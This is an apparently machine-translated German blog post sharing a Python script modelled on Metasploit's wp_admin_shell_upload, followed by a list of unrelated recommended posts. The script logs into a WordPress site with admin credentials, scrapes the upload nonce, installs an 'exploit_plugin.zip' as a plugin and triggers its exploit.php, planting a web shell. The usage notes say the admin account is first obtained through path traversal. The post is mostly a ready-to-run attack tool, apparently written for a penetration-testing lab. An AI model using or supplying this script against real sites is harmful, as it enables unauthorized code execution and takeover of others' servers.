[PYTHON] Ich habe ein Skript geschrieben, um ein WordPress-Plug-In hochzuladen

  1. Zweck

Als ich WordPress aufgenommen habe, wollte ich ein praktisches Skript zum Hochladen von WebShell, aber ich konnte es nicht im Web finden. Deshalb habe ich es unter Bezugnahme auf die Kommunikation des Metasploit-Moduls wp_admin_shell_upload geschrieben.

  1. Code

wp_plugin_upload.py


#!/usr/bin/python
# coding: utf-8

import requests
import sys
import bs4

url = 'http://10.11.XX.XX'
loginUri = '/wp/wp-login.php'
adminUri = '/wp/wp-admin/'
pluginUri = '/wp/wp-admin/plugin-install.php?tab=upload'
uploadUri = '/wp/wp-admin/update.php?action=upload-plugin'
uploadFile = {'pluginzip': ('exploit_plugin.zip', open('exploit_plugin.zip', 'rb'), 'application/octet-stream', {'Content-Transfer-Encoding': 'binary'})}
exploitUri = '/wp/wp-content/plugins/exploit_plugin/exploit.php'

# Headers
headers = {'wordpress_test_cookie':'WP+Cookie+check', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'}

try:
    # Session
    s = requests.Session()

    # Login
    loginData =  {'log':'admin', 'pwd':'XXXX', 'redirect_to':url + adminUri, 'wp-submit':'Login', 'rememberme':'forever', 'testcookie':'1'}
    r = s.post(url + loginUri, data=loginData)
    r.raise_for_status()

    # Plugin Install Page
    r = s.get(url + pluginUri, headers=headers)
    r.raise_for_status()

    # Get Hidden Param _wpnonce 
    # <input id="_wpnonce" name="_wpnonce" type="hidden" value="fdccb03ee7"/>
    # <input name="_wp_http_referer" type="hidden" value="/wp/wp-admin/plugin-install.php?tab=upload"/>
    # <input id="pluginzip" name="pluginzip" type="file"/>
    # <input class="button" id="install-plugin-submit" name="install-plugin-submit" type="submit" value="Install Now"/>
    bs4obj = bs4.BeautifulSoup(r.content, 'html5lib')
    wpnonce = bs4obj.find('input',id='_wpnonce')
    # print wpnonce['value']

    # Zip Upload
    multiPartData = {'_wpnonce':wpnonce['value'], 
                 'wp_http_referer':'/wp/wp-admin/plugin-install.php?tab=upload',
                 'install-plugin-submit':'Install Now'}

    r = s.post(url + uploadUri, files=uploadFile, data=multiPartData, headers=headers)
    r.raise_for_status()

    # Exploit Run
    r = s.get(url + exploitUri)
    r.raise_for_status()

except requests.exceptions.RequestException as e:
    print(e)
    sys.exit(1)

print(r.status_code)
# print(r.text)
  1. Verwendung

Wenn Sie die komprimierte ZIP-Datei (Exploit_plugin.zip) im selben Ordner wie das Skript ablegen, wird sie in den Plugins-Ordner von WordPressp hochgeladen. Darüber hinaus ist es erforderlich, ein WordPress-Konto durch Pfadriss usw. für die Ausführung zu erwerben und die IP-Adresse usw. entsprechend der Umgebung neu zu schreiben.

$ python wp_plugin_upload.py

Recommended Posts

Ich habe ein Skript geschrieben, um ein WordPress-Plug-In hochzuladen
Ich habe ein Skript geschrieben, um eine beliebte Seite in Japan zu bekommen
Ich habe ein Skript erstellt, um Piktogramme anzuzeigen
Ich habe ein Skript geschrieben, mit dem Sie mit hoher Geschwindigkeit mit AtCoder beginnen können!
Ich habe gerade ein Skript geschrieben, um Android auf einem anderen Computer zu erstellen
Ich habe eine Funktion zum Laden des Git-Erweiterungsskripts in Python geschrieben
Ich habe ein Skript geschrieben, um Webseiten-Links in Python zu extrahieren
Ich habe ein Skript geschrieben, um goodnotes5 und Anki bei der Zusammenarbeit zu unterstützen
Laden Sie eine große Anzahl von Bildern in Wordpress hoch
AtCoder-Autor Ich habe ein Skript geschrieben, das Wettbewerbe für jeden Autor zusammenfasst
[An die Herren auf Twitter] Ich habe ein Skript geschrieben, um .jpg-large sofort in .jpg zu konvertieren.
Ich möchte eine Art von Implementierung erstellen, die angeschlossen werden kann
Ich möchte eine Django-App auf Heroku hochladen
Ich habe ein Skript geschrieben, um die Schluckuhr wiederzubeleben, die bald sterben wird
Ich habe ein Skript erstellt, um ein Snippet in README.md einzufügen
Laden Sie eine Datei in Dropbox hoch
Ich habe schnell ein Programm geschrieben, um DI mit Python zu lernen
Ich habe ein Skript geschrieben, das das Bild in zwei Teile teilt
Ich habe ein Drehbuch gemacht, um bei meinem Koshien Hallo zu sagen
Ich habe ein Skript geschrieben, um mit AWS Lambda + Python 2.7 schnell eine Entwicklungsumgebung für Twitter Bot zu erstellen
Ich habe ein CUI-basiertes Übersetzungsskript erstellt (2)
Ich habe ein CUI-basiertes Übersetzungsskript erstellt
[Blender] So erstellen Sie ein Blender-Plug-In
Ein Skript, das Boto verwendet, um einen bestimmten Ordner in Amason S3 hochzuladen
Ich habe versucht, einen Linebot zu erstellen (Implementierung)
Ich habe ein Plugin erstellt, um mit Vim eine Markdown-Tabelle aus CSV zu generieren
Ich habe einen Code geschrieben, um die Quaternion mit Python in einen Ölerwinkel vom Typ z-y-x umzuwandeln
Ich möchte in der Einschlussnotation drucken
Ich habe versucht, einen Linebot zu erstellen (Vorbereitung)
Führen Sie ein Skript von Jupyter aus, um es zu verarbeiten
Ich möchte eine Python-Umgebung erstellen
Ich habe versucht, ein Plug-In mit HULFT IoT Edge Streaming [Entwicklung] (2/3) zu erstellen.
[Ubuntu] So führen Sie ein Shell-Skript aus
Ein einfaches IDAPython-Skript zum Benennen einer Funktion
Ich habe versucht, ein Plug-In mit HULFT IoT Edge Streaming [Ausführung] (3/3) zu erstellen.
Ich habe ein Skript in Python erstellt, um MDD-Dateien in das Scrapbox-Format zu konvertieren
Ich habe eine Web-API erstellt
Skript zum Erstellen einer Mac-Wörterbuchdatei
Ich habe versucht, ein Plug-In mit HULFT IoT Edge Streaming [Setup] (1/3) zu erstellen.
Erstellen eines Shell-Skripts zum Schreiben eines Tagebuchs
Ich habe gxredis geschrieben, um redis-py sicher zu verwenden
So führen Sie Maya Python-Skripte aus
Ich habe ein Skript erstellt, das das aktive Fenster mit win32gui von Python aufzeichnet
Ich möchte Matplotlib zu einem dunklen Thema machen
Ich habe versucht, eine Super-Resolution-Methode / ESPCN zu erstellen
Ich möchte einfach ein Rauschmodell erstellen
Ein Memo, das ich schnell in Python geschrieben habe
Ich möchte einen DataFrame in MSSQL einfügen
Ich habe versucht, eine Super-Resolution-Methode / SRCNN build zu erstellen
Ich habe CPython (ternärer Operator) eine Funktion hinzugefügt.
Ich möchte mit Python ein Fenster erstellen
Ich möchte ein Spiel mit Python machen
Ich habe eine Klasse in Python3 und Java geschrieben
Ich möchte keinen Codierungstest machen
So erstellen Sie ein QGIS-Plug-In (Paketerzeugung)
Ich habe ein Designmuster in der Kotlin Prototype Edition geschrieben
Ich habe ein Tool erstellt, um Hy nativ zu kompilieren
Ich las "Wie man ein Hacking Lab macht"
Ich habe versucht, eine zufällige Zeichenfolge zu generieren
Ich habe versucht, eine Super-Resolution-Methode / SRCNN build zu erstellen